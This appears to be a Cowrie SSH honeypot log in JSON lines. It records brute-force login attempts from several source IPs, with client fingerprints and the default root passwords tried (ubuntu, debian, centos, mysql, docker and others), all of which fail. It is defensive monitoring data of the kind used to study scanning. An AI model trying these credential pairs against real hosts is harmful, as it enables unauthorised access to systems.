{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:07.477286Z","src_ip":"114.217.53.0","session":"08be4ef6799c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:08.719946Z","src_ip":"114.217.53.0","session":"08be4ef6799c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":46616,"dst_ip":"10.17.0.5","dst_port":22,"session":"7794cf0ecee8","protocol":"ssh","message":"New connection: 114.217.53.0:46616 (10.17.0.5:22) [session: 7794cf0ecee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:08.938083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:08.943756Z","src_ip":"114.217.53.0","session":"7794cf0ecee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:09.182002Z","src_ip":"114.217.53.0","session":"7794cf0ecee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:10.470016Z","src_ip":"114.217.53.0","session":"7794cf0ecee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:11.704392Z","src_ip":"114.217.53.0","session":"7794cf0ecee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":49066,"dst_ip":"10.17.0.5","dst_port":22,"session":"08d30c1c529a","protocol":"ssh","message":"New connection: 114.217.53.0:49066 (10.17.0.5:22) [session: 08d30c1c529a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:11.937124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:11.942336Z","src_ip":"114.217.53.0","session":"08d30c1c529a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:12.167612Z","src_ip":"114.217.53.0","session":"08d30c1c529a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:12.863523Z","src_ip":"114.217.53.0","session":"08d30c1c529a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:14.102928Z","src_ip":"114.217.53.0","session":"08d30c1c529a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":51058,"dst_ip":"10.17.0.5","dst_port":22,"session":"b41eaaf68c8e","protocol":"ssh","message":"New connection: 114.217.53.0:51058 (10.17.0.5:22) [session: b41eaaf68c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:14.368081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:14.375655Z","src_ip":"114.217.53.0","session":"b41eaaf68c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:14.622735Z","src_ip":"114.217.53.0","session":"b41eaaf68c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:15.362153Z","src_ip":"114.217.53.0","session":"b41eaaf68c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:16.606292Z","src_ip":"114.217.53.0","session":"b41eaaf68c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":53060,"dst_ip":"10.17.0.5","dst_port":22,"session":"d571ff0e5d60","protocol":"ssh","message":"New connection: 114.217.53.0:53060 (10.17.0.5:22) [session: d571ff0e5d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:16.847938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:16.852770Z","src_ip":"114.217.53.0","session":"d571ff0e5d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:17.103175Z","src_ip":"114.217.53.0","session":"d571ff0e5d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:17.846469Z","src_ip":"114.217.53.0","session":"d571ff0e5d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:19.094382Z","src_ip":"114.217.53.0","session":"d571ff0e5d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":55282,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c39d0a8d6f3","protocol":"ssh","message":"New connection: 114.217.53.0:55282 (10.17.0.5:22) [session: 3c39d0a8d6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:19.350729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:19.355538Z","src_ip":"114.217.53.0","session":"3c39d0a8d6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:19.609850Z","src_ip":"114.217.53.0","session":"3c39d0a8d6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:20.367690Z","src_ip":"114.217.53.0","session":"3c39d0a8d6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:21.633558Z","src_ip":"114.217.53.0","session":"3c39d0a8d6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54838,"dst_ip":"159.203.135.109","dst_port":22,"session":"193bf3bcf143","protocol":"ssh","message":"New connection: 103.75.199.4:54838 (159.203.135.109:22) [session: 193bf3bcf143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:21.755674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:21.761089Z","src_ip":"103.75.199.4","session":"193bf3bcf143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:21.852498Z","src_ip":"103.75.199.4","session":"193bf3bcf143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":57274,"dst_ip":"10.17.0.5","dst_port":22,"session":"efd051188c3b","protocol":"ssh","message":"New connection: 114.217.53.0:57274 (10.17.0.5:22) [session: efd051188c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:21.860331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:21.866995Z","src_ip":"114.217.53.0","session":"efd051188c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:22.104603Z","src_ip":"114.217.53.0","session":"efd051188c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:22.126730Z","src_ip":"103.75.199.4","session":"193bf3bcf143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:22.824211Z","src_ip":"114.217.53.0","session":"efd051188c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:23.220836Z","src_ip":"103.75.199.4","session":"193bf3bcf143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:24.072747Z","src_ip":"114.217.53.0","session":"efd051188c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":59448,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cac7d0c8019","protocol":"ssh","message":"New connection: 114.217.53.0:59448 (10.17.0.5:22) [session: 6cac7d0c8019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:24.277763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:24.284600Z","src_ip":"114.217.53.0","session":"6cac7d0c8019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:24.508451Z","src_ip":"114.217.53.0","session":"6cac7d0c8019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:25.437580Z","src_ip":"114.217.53.0","session":"6cac7d0c8019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":58188,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c2186786e01","protocol":"ssh","message":"New connection: 78.40.37.143:58188 (10.17.0.5:22) [session: 9c2186786e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:26.156254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:26.160643Z","src_ip":"78.40.37.143","session":"9c2186786e01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:26.246976Z","src_ip":"78.40.37.143","session":"9c2186786e01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxacademy","password":"123456","message":"login attempt [linuxacademy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:26.610985Z","src_ip":"78.40.37.143","session":"9c2186786e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:26.673165Z","src_ip":"114.217.53.0","session":"6cac7d0c8019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":33370,"dst_ip":"10.17.0.5","dst_port":22,"session":"0855fccd8443","protocol":"ssh","message":"New connection: 114.217.53.0:33370 (10.17.0.5:22) [session: 0855fccd8443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:26.911523Z"}
